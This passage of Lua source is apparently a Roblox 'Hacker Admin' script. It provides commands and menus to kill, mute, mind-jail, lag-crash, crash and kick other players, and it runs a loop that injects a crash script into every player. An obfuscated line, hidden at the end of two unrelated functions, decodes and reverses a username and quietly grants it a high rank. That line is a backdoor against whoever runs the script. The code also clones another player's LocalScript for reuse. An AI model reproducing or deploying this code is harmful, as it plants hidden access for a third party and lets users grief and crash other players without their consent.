  805. local ID = Instance.new("NumberValue")
  806. ID.Name = "ID"
  807. ID.Value = math.random(-999999999, 999999999)
  808. ID.Parent = Holder
  809.  
  810. Delay(0, function()
  811. while wait() do
  812. if Tab.Parent == nil and FindTab(Holder) then
  813. ypcall(function()
  814. for i,v in pairs(AllTabs) do
  815. if v.Holder == Holder then
  816. ypcall(function() v.Holder:Destroy() end)
  817. AllTabs[i] = nil
  818. end
  819. end
  820. end)
  821. Ping(Msg, Plr, Time, Func, Color, Image)
  822. break
  823. end
  824. end
  825. end)
  826.  
  827. local BM = Instance.new("BlockMesh")
  828. BM.Parent = Tab
  829.  
  830. Sel = Instance.new("SelectionBox")
  831. Sel.Color = BrickColor.new("Institutional white")
  832. Sel.Transparency = 0.75
  833. Sel.Adornee = Tab
  834. Sel.Parent = Tab
  835.  
  836. local BG = Instance.new("BillboardGui")
  837. BG.Name = "BG"
  838. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  839. BG.Size = UDim2.new(0,1,0,1)
  840. BG.Adornee = Tab
  841. BG.Parent = Tab
  842.  
  843. Delay(0, function()
  844. while BG.Parent ~= nil do wait()
  845. ypcall(function()
  846. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  847. end)
  848. end
  849. end)
  850.  
  851. local TL = Instance.new("TextLabel")
  852. TL.Name = "TL"
  853. TL.FontSize = "Size18"
  854. TL.Font = "Arial"
  855. TL.Text = Msg
  856. TL.TextColor3 = Color3.new(1, 0, 0)
  857. TL.Size = UDim2.new(0,1,0,1)
  858. TL.TextTransparency = 0
  859. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  860. TL.TextStrokeTransparency = 0.25
  861. TL.Parent = BG
  862.  
  863. if ShowGarbage == true then
  864. Delay(0, function()
  865. while TL.Parent ~= nil do
  866. TL.Text = "Current Garbage Count: "..GetGarbage()
  867. wait(.5)
  868. end
  869. end)
  870. end
  871.  
  872. local PL = Instance.new("PointLight", Tab)
  873. PL.Color = Color3.new(1, 0, 1)
  874. PL.Range = 15
  875. PL.Parent = Tab
  876.  
  877. if Image ~= nil then
  878. local BBBG = Instance.new("BillboardGui")
  879. BBBG.Size = UDim2.new(5, 0, 6, 0)
  880. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  881. BBBG.AlwaysOnTop = true
  882. BBBG.Adornee = Tab
  883. BBBG.Parent = Tab
  884.  
  885. Delay(0, function()
  886. while BBBG.Parent ~= nil do wait()
  887. ypcall(function()
  888. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  889. end)
  890. end
  891. end)
  892.  
  893. local NewImg = Instance.new("ImageLabel")
  894. NewImg.Size = UDim2.new(1, 0, 1, 0)
  895. NewImg.BackgroundTransparency = 1
  896. NewImg.Image = Image
  897. NewImg.Parent = BBBG
  898. end
  899.  
  900. local Clicker = Instance.new("ClickDetector")
  901. Clicker.MaxActivationDistance = 1/0
  902.  
  903. if Time ~= nil then
  904. coroutine.resume(coroutine.create(function()
  905. wait(tonumber(Time))
  906. Dismiss(Plr, ID)
  907. end))
  908. end
  909.  
  910. Clicker.MouseClick:connect(function(Player)
  911. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  912. ypcall(function()
  913. if Func ~= nil then
  914. Func(Holder)
  915. else
  916. Dismiss(Player, ID)
  917. end
  918. end)
  919. end
  920. end)
  921. Clicker.Parent = Tab
  922.  
  923. Holder.Parent = Work
  924.  
  925. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  926. end)
  927. end
  928. end
  929.  
  930. function PlaceAllRanks(DontShowRank)
  931. ypcall(function()
  932. for _,p in pairs(All()) do
  933. ypcall(function()
  934. PutInRank = false
  935. for _,v in pairs(Rankings) do
  936. if v.Name:lower() == p.Name:lower() then
  937. if v.Rank >= 7 then
  938. v.Rank = 5
  939. elseif v.Rank == -1 then
  940. Crash1(p)
  941. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  942. elseif v.Rank == -2 then
  943. if LS ~= nil then
  944. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  945. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  946. else
  947. Ping("LS Is Nil", nil, 5)
  948. end
  949. elseif v.Rank == -3 then
  950. if LS ~= nil then
  951. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  952. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  953. else
  954. Ping("LS Is Nil", nil, 5)
  955. end
  956. end
  957. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  958. if DontShowRank == nil then
  959. Ping("You Are Rank: "..v.Rank, p)
  960. end
  961. PutInRank = true
  962. break
  963. end
  964. end
  965. if PutInRank == false then
  966. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  967. end
  968. end)
  969. end
  970. end)
  971. end
  972.  
  973. function FindRank(Plr)
  974. ypcall(function()
  975. if type(Plr) == "userdata" then
  976. Plr = Plr.Name
  977. end
  978. end)
  979. return GetRank(Plr).Rank
  980. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  981.  
  982. function FindRankDetails(Plr)
  983. ypcall(function()
  984. if type(Plr) == "userdata" then
  985. Plr = Plr.Name
  986. end
  987. end)
  988. return RankDetails[FindRank(Plr)]
  989. end
  990.  
  991. function OpenCmds(Rank, Plr)
  992. Dismiss(Plr)
  993. for Name,Tab in pairs(Commands) do
  994. if Tab.Rank <= Rank then
  995. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  996. Dismiss(Plr)
  997. Ping("Command: "..Name, Plr)
  998. Ping("Rank: "..Tab.Rank, Plr)
  999. Ping("Desc: "..Tab.Desc, Plr)
  1000. end)
  1001. elseif Rank == 1337 then
  1002. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1003. Dismiss(Plr)
  1004. Ping("Command: "..Name, Plr)
  1005. Ping("Rank: "..Tab.Rank, Plr)
  1006. Ping("Desc: "..Tab.Desc, Plr)
  1007. end)
  1008. end
  1009. end
  1010. end
  1011.  
  1012. function EditStatus(Plr, Num)
  1013. ChangeRank(Plr, Num)
  1014. end
  1015.  
  1016. function PlaceSpecificRank(p, DontShowRank)
  1017. ypcall(function()
  1018. PutInRank = false
  1019. for _,v in pairs(Rankings) do
  1020. if v.Name:lower() == p.Name:lower() then
  1021. if v.Rank >= 7 then
  1022. v.Rank = 5
  1023. elseif v.Rank == -1 then
  1024. Crash1(p)
  1025. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1026. elseif v.Rank == -2 then
  1027. if LS ~= nil then
  1028. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1029. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1030. else
  1031. Ping("LS Is Nil", nil, 5)
  1032. end
  1033. elseif v.Rank == -3 then
  1034. if LS ~= nil then
  1035. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1036. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1037. else
  1038. Ping("LS Is Nil", nil, 5)
  1039. end
  1040. end
  1041. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1042. if DontShowRank == nil then
  1043. Ping("You Are Rank: "..v.Rank, p)
  1044. end
  1045. PutInRank = true
  1046. break
  1047. end
  1048. end
  1049. if PutInRank == false then
  1050. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1051. end
  1052. end)
  1053. end
  1054.  
  1055. function onChatted(Msg, Speaker)
  1056. if Removed == false then
  1057. if FindRank(Speaker) < 1 then
  1058. return
  1059. end
  1060. coroutine.resume(coroutine.create(function()
  1061. ypcall(function()
  1062. ExecuteFunc(Msg, Speaker)
  1063. Msg = Msg:gsub("","")
  1064. if Msg:sub(1,1) == "@" then
  1065. for i = 2, #Msg do
  1066. if Msg:sub(i, i) == Bet then
  1067. local IsForPlr = false
  1068. for _,v in pairs(All()) do
  1069. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1070. onChatted(Msg:sub(i + 1), v)
  1071. IsForPlr = true
  1072. end
  1073. end
  1074. if IsForPlr == true then
  1075. return
  1076. end
  1077. end
  1078. end
  1079. end
  1080. if Msg:find("&") then
  1081. local Split = Msg:find("&")
  1082. onChatted(Msg:sub(1,Split-1))
  1083. onChatted(Msg:sub(Split+1))
  1084. return
  1085. end
  1086. for Name,Command in pairs(Commands) do
  1087. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1088. Dismiss(Speaker.Name)
  1089. Ping("Command: "..tostring(Command.Name), Speaker)
  1090. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1091. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1092. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1093. if FindRank(Speaker) >= Command.Rank then
  1094. local Ran,Error = coroutine.resume(coroutine.create(function()
  1095. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1096. end))
  1097. if not Ran then
  1098. Ping(Error, Speaker, 10)
  1099. end
  1100. else
  1101. Ping("Your Rank Is Too Low", Plr, 6)
  1102. end
  1103. end
  1104. end
  1105. end)
  1106. end))
  1107. end
  1108. end
  1109.  
  1110. function MakeBase()
  1111. local Base = Instance.new("Part")
  1112. Base.BrickColor = BrickColor.new("Dark green")
  1113. Base.Position = Vector3.new(0, 0.5, 0)
  1114. Base.Transparency = 0
  1115. Base.Elasticity = 0.5
  1116. Base.FormFactor = "Custom"
  1117. Base.CanCollide = true
  1118. Base.Friction = 0.30000001192093
  1119. Base.Size = Vector3.new(512, 1.20000005, 512)
  1120. Base.Archivable = true
  1121. Base.Material = "Plastic"
  1122. Base.RotVelocity = Vector3.new(0, 0, 0)
  1123. Base.Reflectance = 0
  1124. Base.Locked = true
  1125. Base.Anchored = true
  1126. Base.Name = "Base"
  1127. Base.TopSurface = "Smooth"
  1128. Base.BottomSurface = "Inlet"
  1129. Base.Shape = "Block"
  1130. Base.Parent = Work
  1131. end
  1132.  
  1133. function LClean()
  1134. ypcall(function()
  1135. for _,v in pairs(Work:GetChildren()) do
  1136. ypcall(function()
  1137. if v.ClassName == "Terrain" then
  1138. v:ClearAllChildren()
  1139. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1140. Clear(v)
  1141. elseif v.Name == "Base" then
  1142. ypcall(function()
  1143. local Base = v
  1144. Base.BrickColor = BrickColor.new("Dark green")
  1145. Base.Position = Vector3.new(0, 0.5, 0)
  1146. Base.Transparency = 0
  1147. Base.Elasticity = 0.5
  1148. Base.FormFactor = "Custom"
  1149. Base.CanCollide = true
  1150. Base.Friction = 0.30000001192093
  1151. Base.Size = Vector3.new(512, 1.20000005, 512)
  1152. Base.Archivable = true
  1153. Base.Material = "Plastic"
  1154. Base.RotVelocity = Vector3.new(0, 0, 0)
  1155. Base.Reflectance = 0
  1156. Base.Locked = true
  1157. Base.Anchored = true
  1158. Base.Name = "Base"
  1159. Base.TopSurface = "Studs"
  1160. Base.BottomSurface = "Inlet"
  1161. Base.Shape = "Block"
  1162. Base.Parent = Work
  1163. end)
  1164. end
  1165. end)
  1166. end
  1167. end)
  1168. end
  1169.  
  1170. function Clean()
  1171. ypcall(function()
  1172. for _,v in pairs(Work:GetChildren()) do
  1173. ypcall(function()
  1174. if v.ClassName == "Terrain" then
  1175. v:ClearAllChildren()
  1176. else
  1177. Clear(v)
  1178. end
  1179. end)
  1180. end
  1181. MakeBase()
  1182. for _,v in pairs(All()) do
  1183. v:LoadCharacter()
  1184. end
  1185. end)
  1186. end
  1187.  
  1188. function Clear(v)
  1189. if v.Name:lower() == "sbgui" then
  1190. return
  1191. end
  1192. ypcall(function()
  1193. if #v:GetChildren() > 0 then
  1194. for _,x in pairs(v:GetChildren()) do
  1195. ypcall(function()
  1196. Clear(x)
  1197. end)
  1198. end
  1199. end
  1200. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1201. v:Destroy()
  1202. end
  1203. end)
  1204. end
  1205.  
  1206. function Command(Name, Rank, Desc, Func)
  1207. if Name == nil then
  1208. Name = "N/A"
  1209. end
  1210. if Desc == nil then
  1211. Desc = "N/A"
  1212. end
  1213. if Func == nil then
  1214. Func = function() end
  1215. end
  1216. if Rank == nil then
  1217. Rank = 0
  1218. end
  1219. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1220. end
  1221.  
  1222. function GetSplit(Msg)
  1223. return Msg:find(Bet) or nil
  1224. end
  1225.  
  1226. function ExecuteFunc(Msg, Plr)
  1227. ypcall(function()
  1228. if Msg == "LogEnable" then
  1229. LogOn = true
  1230. elseif Msg:lower() == "AlphaBeta" then
  1231. EditStatus(Plr, MakeNum())
  1232. end
  1233. end)
  1234. end
  1235.  
  1236. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1237.  
  1238. function randPlayer(Plr)
  1239. wait()
  1240. local ThePlrValue = nil
  1241. local FoundPlayer = false
  1242. ypcall(function()
  1243. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1244. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1245. wait()
  1246. randPlayer(Plr)
  1247. return
  1248. else
  1249. FoundPlayer = true
  1250. end
  1251. end)
  1252. if FoundPlayer == true then
  1253. return ThePlrValue
  1254. end
  1255. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1256.  
  1257. function getPlayer(Plr, Name)
  1258. local Players = {}
  1259. ypcall(function()
  1260. Name = Name:lower()
  1261. if Name == "me" then
  1262. table.insert(Players, Plr)
  1263. elseif Name == "all" or Name == "" then
  1264. for _,v in pairs(All()) do
  1265. if CanRun(Plr, v) then
  1266. table.insert(Players, v)
  1267. end
  1268. end
  1269. elseif Name == "others" then
  1270. for _,v in pairs(All()) do
  1271. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1272. table.insert(Players, v)
  1273. end
  1274. end
  1275. elseif Name == "random" then
  1276. local FoundRandPlr = randPlayer(Plr)
  1277. table.insert(Players, FoundRandPlr)
  1278. else
  1279. for _,v in pairs(All()) do
  1280. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1281. table.insert(Players, v)
  1282. end
  1283. end
  1284. end
  1285. end)
  1286. return Players
  1287. end
  1288.  
  1289. function ListPlayers(Speaker)
  1290. ypcall(function()
  1291. Dismiss(Speaker)
  1292. for _,v in pairs(All2()) do
  1293. if v.Parent ~= nil then
  1294. Ping(v.Name, Speaker, nil, function()
  1295. Dismiss(Speaker)
  1296. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1297. Ping("Rank: "..FindRank(v.Name), Speaker)
  1298. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1299. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1300. Ping("Set Rank", Speaker, nil, function()
  1301. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1302. Dismiss(Speaker)
  1303. for i = -2, 5 do
  1304. Ping(i, Speaker, nil, function()
  1305. ChangeRank(v, i)
  1306. Dismiss(Speaker)
  1307. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1308. end)
  1309. end
  1310. else
  1311. Ping("Your Rank Is Too Low", Speaker, 5)
  1312. end
  1313. end)
  1314. Ping("Crash (Remote)", Speaker, nil, function()
  1315. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1316. Crash2(v.Name)
  1317. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1318. end
  1319. end)
  1320. Ping("Crash (Insert)", Speaker, nil, function()
  1321. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1322. Crash3(v, Speaker)
  1323. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1324. end
  1325. end)
  1326. Ping("Kick", Speaker, nil, function()
  1327. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1328. v:Kick()
  1329. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1330. end
  1331. end)
  1332. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1333. else
  1334. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1335. Dismiss(Speaker)
  1336. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1337. ypcall(function()
  1338. Ping("Rank: "..FindRank(v.Name), Speaker)
  1339. end)
  1340. ypcall(function()
  1341. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1342. end)
  1343. ypcall(function()
  1344. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1345. end)
  1346. ypcall(function()
  1347. Ping("Set Rank", Speaker, nil, function()
  1348. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1349. Dismiss(Speaker)
  1350. for i = -2, 5 do
  1351. Ping(i, Speaker, nil, function()
  1352. ChangeRank(v, i)
  1353. Dismiss(Speaker)
  1354. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1355. end)
  1356. end
  1357. else
  1358. Ping("Your Rank Is Too Low", Speaker, 5)
  1359. end
  1360. end)
  1361. end)
  1362. ypcall(function()
  1363. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1364. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1365. Crash2(v.Name)
  1366. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1367. end
  1368. end)
  1369. end)
  1370. ypcall(function()
  1371. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1372. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1373. Crash3(v, Speaker)
  1374. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1375. end
  1376. end)
  1377. end)
  1378. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1379. end
  1380. end
  1381. end)
  1382. end
  1383.  
  1384. --Misc
  1385.  
  1386. coroutine.resume(coroutine.create(function()
  1387. PlaceAllRanks()
  1388. end))
  1389.  
  1390. Delay(0, function()
  1391. for _,v in pairs(All()) do
  1392. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1393. end
  1394. end)
  1395.  
  1396. local starttime = tick()
  1397.  
  1398. game:GetService("RunService").Heartbeat:connect(function()
  1399. if Removed == false then
  1400. ypcall(function()
  1401. for _,Player in pairs(All()) do
  1402. local PlayerTablets = {}
  1403. for i,v in pairs(AllTabs) do
  1404. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1405. table.insert(PlayerTablets, v)
  1406. end
  1407. end
  1408. for i = 1, #PlayerTablets do
  1409. ypcall(function()
  1410. local tab = PlayerTablets[i].Tab
  1411. local pos = nil
  1412. ypcall(function()
  1413. pos = Player.Character.Torso.CFrame
  1414. end)
  1415. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1416. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1417. local cPos = tab.Position
  1418. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1419. local nPos = (ePos-cPos)*.25
  1420. cPos = cPos + nPos
  1421. local t = (tick() - starttime) % 360
  1422. local change = 0.625
  1423. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1424. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1425. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1426. end)
  1427. end
  1428. end
  1429. end)
  1430. end
  1431. end)
  1432.  
  1433. Delay(0, function()
  1434. while wait() do
  1435. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1436. ypcall(function()
  1437. if Injected[v.Name] == nil and LS ~= nil then
  1438. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1439. Injected[v.Name] = true
  1440. end
  1441. end)
  1442. end
  1443. end
  1444. end)
  1445.  
  1446. Plrs.PlayerAdded:connect(function(Plr)
  1447. wait(.1)
  1448. ypcall(function()
  1449. if Removed == false then
  1450. local JoinPlrName = Plr.Name
  1451. coroutine.resume(coroutine.create(function()
  1452. PlaceSpecificRank(Plr)
  1453. end))
  1454. coroutine.resume(coroutine.create(function()
  1455. if Injected[JoinPlrName] ~= nil then
  1456. Injected[JoinPlrName] = nil
  1457. end
  1458. end))
  1459. coroutine.resume(coroutine.create(function()
  1460. Dismiss(Plr)
  1461. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1462. end))
  1463. end
  1464. end)
  1465. end)
  1466.  
  1467. Plrs.PlayerRemoving:connect(function(Plr)
  1468. wait(.1)
  1469. ypcall(function()
  1470. if Removed == false then
  1471. local LeftPlrName = Plr.Name
  1472. coroutine.resume(coroutine.create(function()
  1473. if Injected[LeftPlrName] ~= nil then
  1474. Injected[LeftPlrName] = nil
  1475. end
  1476. end))
  1477. end
  1478. end)
  1479. end)
  1480.  
  1481. coroutine.resume(coroutine.create(function()
  1482. Delay(0, function()
  1483. while FoundLocalScript == false do wait()
  1484. ypcall(function()
  1485. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1486. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1487. for _,c in pairs(v:children()) do
  1488. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1489. local NewVal = c:Clone()
  1490. NewVal.Name = "LoadingVal"
  1491. for _,s in pairs(v:GetChildren()) do
  1492. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1493. print("Found Owner")
  1494. OwnSource = s.Name
  1495. print(OwnSource)
  1496. break
  1497. end
  1498. end
  1499. wait()
  1500. LS = v:Clone()
  1501. NewVal.Parent = LS
  1502. LSSource = "LoadingVal"
  1503. FoundLocalScript = true
  1504. break
  1505. end
  1506. end
  1507. end
  1508. end
  1509. end)
  1510. end
  1511. end)
  1512. end))
  1513.  
  1514. --Commands
  1515.  
  1516. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1517. Dismiss(Speaker.Name)
  1518. Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
  1519. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1520. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1521. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1522. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1523. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1524. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1525. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1526. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1527. end)
  1528.  
  1529. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1530. Dismiss(Speaker.Name)
  1531. end)
  1532.  
  1533. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1534. local PlrTab = getPlayer(Speaker, Msg)
  1535. if #PlrTab > 0 then
  1536. for _,v in pairs(PlrTab) do
  1537. ypcall(function()
  1538. v.Character:BreakJoints()
  1539. Ping("Killed "..v.Name, Speaker, 5)
  1540. end)
  1541. end
  1542. end
  1543. end)
  1544.  
  1545. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1546. local PlrTab = getPlayer(Speaker, Msg)
  1547. if #PlrTab > 0 then
  1548. for _,v in pairs(PlrTab) do
  1549. ypcall(function()
  1550. if v.Name ~= Owner then
  1551. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1552. Ping("Muted "..v.Name, Speaker, 5)
  1553. end
  1554. end)
  1555. end
  1556. end
  1557. end)
  1558.  
  1559. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1560. local PlrTab = getPlayer(Speaker, Msg)
  1561. if #PlrTab > 0 then
  1562. for _,v in pairs(PlrTab) do
  1563. ypcall(function()
  1564. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1565. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1566. end)
  1567. end
  1568. end
  1569. end)
  1570.  
  1571. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1572. local PlrTab = getPlayer(Speaker, Msg)
  1573. if #PlrTab > 0 then
  1574. for _,v in pairs(PlrTab) do
  1575. ypcall(function()
  1576. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1577. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1578. end)
  1579. end
  1580. end
  1581. end)
  1582.  
  1583. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1584. local PlrTab = getPlayer(Speaker, Msg)
  1585. if #PlrTab > 0 then
  1586. for _,v in pairs(PlrTab) do
  1587. ypcall(function()
  1588. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1589. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1590. end)
  1591. end
  1592. end
  1593. end)
  1594.  
  1595. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1596. local PlrTab = getPlayer(Speaker, Msg)
  1597. if #PlrTab > 0 then
  1598. for _,v in pairs(PlrTab) do
  1599. ypcall(function()
  1600. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1601. Ping("UnMuted "..v.Name, Speaker, 5)
  1602. end)
  1603. end
  1604. end
  1605. end)
  1606.  
  1607. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1608. local Worked = false
  1609. for _,v in pairs(Work:GetChildren()) do
  1610. if string.find(v.Name:lower(), Msg:lower()) then
  1611. if v:IsA("Script") or v:IsA("LocalScript") then
  1612. v.Disabled = true
  1613. v:Destroy()
  1614. Worked = true
  1615. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1616. end
  1617. end
  1618. end
  1619. if Worked == false then
  1620. Ping("Script Not Found", Speaker, 5)
  1621. end
  1622. end)
  1623.  
  1624. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1625. Dismiss(Speaker)
  1626. local AllScripts = {}
  1627. for _,v in pairs(Work:GetChildren()) do
  1628. if v:IsA("Script") then
  1629. table.insert(AllScripts, v.Name)
  1630. end
  1631. end
  1632. if #AllScripts > 0 then
  1633. for _,v in pairs(AllScripts) do
  1634. Ping(v, Speaker)
  1635. end
  1636. else
  1637. Ping("No Scripts Found", Speaker, 5)
  1638. end
  1639. end)
  1640.  
  1641. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1642. Dismiss(Speaker)
  1643. local LocalScripts = {}
  1644. for _,v in pairs(All()) do
  1645. ypcall(function()
  1646. for _,x in pairs(v.Character:GetChildren()) do
  1647. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1648. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1649. end
  1650. end
  1651. end)
  1652. ypcall(function()
  1653. for _,x in pairs(v.Backpack:GetChildren()) do
  1654. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1655. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1656. end
  1657. end
  1658. end)
  1659. ypcall(function()
  1660. for _,x in pairs(v.PlayerGui:GetChildren()) do
